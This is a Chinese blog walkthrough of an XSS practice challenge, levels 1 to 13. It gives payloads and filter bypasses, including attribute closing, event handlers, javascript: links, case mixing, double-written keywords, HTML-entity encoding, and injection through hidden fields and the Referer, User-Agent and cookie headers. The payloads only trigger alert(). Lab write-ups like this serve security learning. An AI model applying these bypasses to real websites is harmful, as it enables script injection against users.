xss挑战

xss挑战

1.url

在这里插入图片描述

输入点在url,输出点在页面回显

在url输入payload

<script>alert(1)</script>

在这里插入图片描述

2.构造闭合标签

输入点为url或页面搜索框,输出点为页面回显

尝试

<script>alert(1)</script>

未成功

查看页面源代码,在红线处尝试构造闭合标签

在这里插入图片描述

修改为如下即可

<input name=keyword  value=""><script>alert(1)</script><!--">

则payload应为

"><script>alert(1)</script><!--

在这里插入图片描述

成功

3.js事件,单引号闭合

输入点在url和搜索框,回显在页面

在这里插入图片描述

尝试

<script>alert(1)</script>

在这里插入图片描述

未成功

查看页面源代码:
在这里插入图片描述

<input name=keyword  value='&lt;script&gt;alert(1)&lt;/script&gt;'>

很明显注入的<和>变成了&lt和&gt,那么这里尝试使用事件来触发

使用onmouseover(),当鼠标滑过时触发

在这里插入图片描述

未成功,查看页面源代码:
在这里插入图片描述

<input name=keyword  value='οnmοuseοver=alert(123)'>

构造闭合

<input name=keyword  value=''onmouseover='alert(123)'>

故而payload为

'οnmοuseοver='alert(123)

在这里插入图片描述

4.js事件,双引号闭合

在这里插入图片描述

<script>alert(1)</script>

未成功

查看页面源代码,发现<和>被过滤

在这里插入图片描述

<input name=keyword  value="scriptalert(1)/script">

尝试url编码

%3cscript%3ealert(1)%3c/script%3e

在这里插入图片描述

未成功,url编码也被过滤了

在这里插入图片描述

尝试事件onmouseover

'οnmοuseοver='alert(123)

在这里插入图片描述

未成功,查看源代码

在这里插入图片描述

<input name=keyword  value="'οnmοuseοver='alert(123)">

可以看到,此处onmouseover并没有成为独立的标签属性,故此处进行构造,使用双引号闭合

<input name=keyword  value=""onmouseover="alert(123)">

故而payload应为:

"οnmοuseοver="alert(123)

在这里插入图片描述

成功

5.a标签超链接

在这里插入图片描述

查看源代码

在这里插入图片描述

尝试

<script>alert(1)</script>

在这里插入图片描述
在这里插入图片描述

scrip似乎被替换为了scr_ipt

<input name=keyword  value="<scr_ipt>alert(1)</script>">

那么尝试onmouseover

<input name=keyword  value=""onmouseover="alert(123)">

在这里插入图片描述

onmouseover也被替换了

尝试onerror

<input name=keyword  value=""><img src=1 onerror=alert(1)><!-->

在这里插入图片描述

on_error也被过滤了

尝试a标签

<input name=keyword  value=""><a href=javascript:alert(1)>1</a><!--">

payload应为

"><a href=javascript:alert(1)>1</a><!--

在这里插入图片描述

成功

6.a标签大小写绕过

<script>alert(1)</script>
<img src=1 onerror=alert(1)>
<a href=javascript:alert(1)>

在这里插入图片描述

在这里插入图片描述

均被过滤

尝试onclickonfocus

在这里插入图片描述

在这里插入图片描述

均被过滤

因为html标签不区分大小写,而js区分大小写,故而对于a标签中href的过滤尝试使用大小写绕过

<a HREf=jaVASCript:alert(1)>

在这里插入图片描述

无过滤

构造闭合

<input name=keyword  value=""><a HREf=jaVASCript:alert(1123)>1</a>">
"><a HREf=jaVASCript:alert(1123)>1</a>

在这里插入图片描述

成功

7.双写绕过

尝试常用payload后,发现关键字几乎都被替换为空,那么尝试双写

<input name=keyword  value="<svg load=alert(1)>">

<script>被替换为了<>

<input name=keyword  value=""><scscriptript>alert(123)</scscriptript>">
"><scscriptript>alert(123)</scscriptript>"

在这里插入图片描述

成功

8.html实体编码

尝试第7题payload

"><scscriptript>alert(123)</scscriptript>"

在这里插入图片描述

在这里插入图片描述

script被替换为scr_ipt

尝试a标签大小写

<a HREf=jaVASCript:alert(1)>

大小写也被过滤
在这里插入图片描述

此处将script转为html实体编码

java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(123)

在这里插入图片描述

将payload放入输入框,然后添加,点友情链接,此处只能这么操作,浏览器execute无法携带submit参数

在这里插入图片描述

在这里插入图片描述

9.关键字格式过滤

尝试第8题payload,提示不合法

在这里插入图片描述

在这里插入图片描述

尝试javascript,发现似乎并没有过滤

在这里插入图片描述

尝试http://格式,判断此处是从链接的开头是否为http来判断是否合法的,而且还是过滤了script

在这里插入图片描述

那么尝试在第8题payload上添加http://

http://java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(123)

在这里插入图片描述

成功绕过过滤,但是没有触发alert

将http://改为注释

<a href="http://java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(123)">
<a href="java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(123)//http://">

payload

java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(123)//http://

在这里插入图片描述

成功

10.标签注入修改标签类型

尝试第9题payload

在这里插入图片描述

发现似乎也有过滤,并且页面有很多隐藏标签,这些标签有name值,那么就可以携带get参数,可以修改属性

在这里插入图片描述

<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">

尝试三个name后,发现只有t_sort标签可以通过get携带参数

在这里插入图片描述

尝试

<input name="t_sort"  value=""onmouseover="alert(123)" type="button">

payload

?t_sort="οnmοuseοver="alert(123)" type="button"

在这里插入图片描述

hidden属性发生改变,成功

11.修改请求头Referer

直接查看页面,发现与上一题类似,多了一个name为t_ref的隐藏标签

在这里插入图片描述

尝试get携带参数

在这里插入图片描述

与上一题相同,尝试上一题payload

?t_sort="οnmοuseοver="alert(123)" type="button

在这里插入图片描述

hidden属性并没有发生改变,未成功

查看页面源代码,发现双引号被过滤

在这里插入图片描述

因为此处的第一个必须是双引号,所以此处似乎无法使用之前的方法

使用burpsuite在请求头中添加Referer

"οnclick="alert(1)" type="button

在这里插入图片描述

在这里插入图片描述

然后转发

在这里插入图片描述

标签属性被成功修改为按钮,事件也被成功添加

12.修改请求头User-Agent重放

在这里插入图片描述

与前面类似,有隐藏标签,新的隐藏标签name为t_ua,值很眼熟

在这里插入图片描述

值为user-agent的值

那么就可以尝试修改请求头中user-agent的值重放

payload

"onclick="alert(1)" type="button

在这里插入图片描述

成功

在这里插入图片描述

13.修改请求头cookie值

同上面几题,看名称似乎和cookie有关

在这里插入图片描述

新标签的值是从user这个值获取的,而user是从cookie中获取的
在这里插入图片描述

那么就尝试修改cookie中的user值重放

payload

"onclick="alert(1)" type="button

在这里插入图片描述

在这里插入图片描述

成功

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值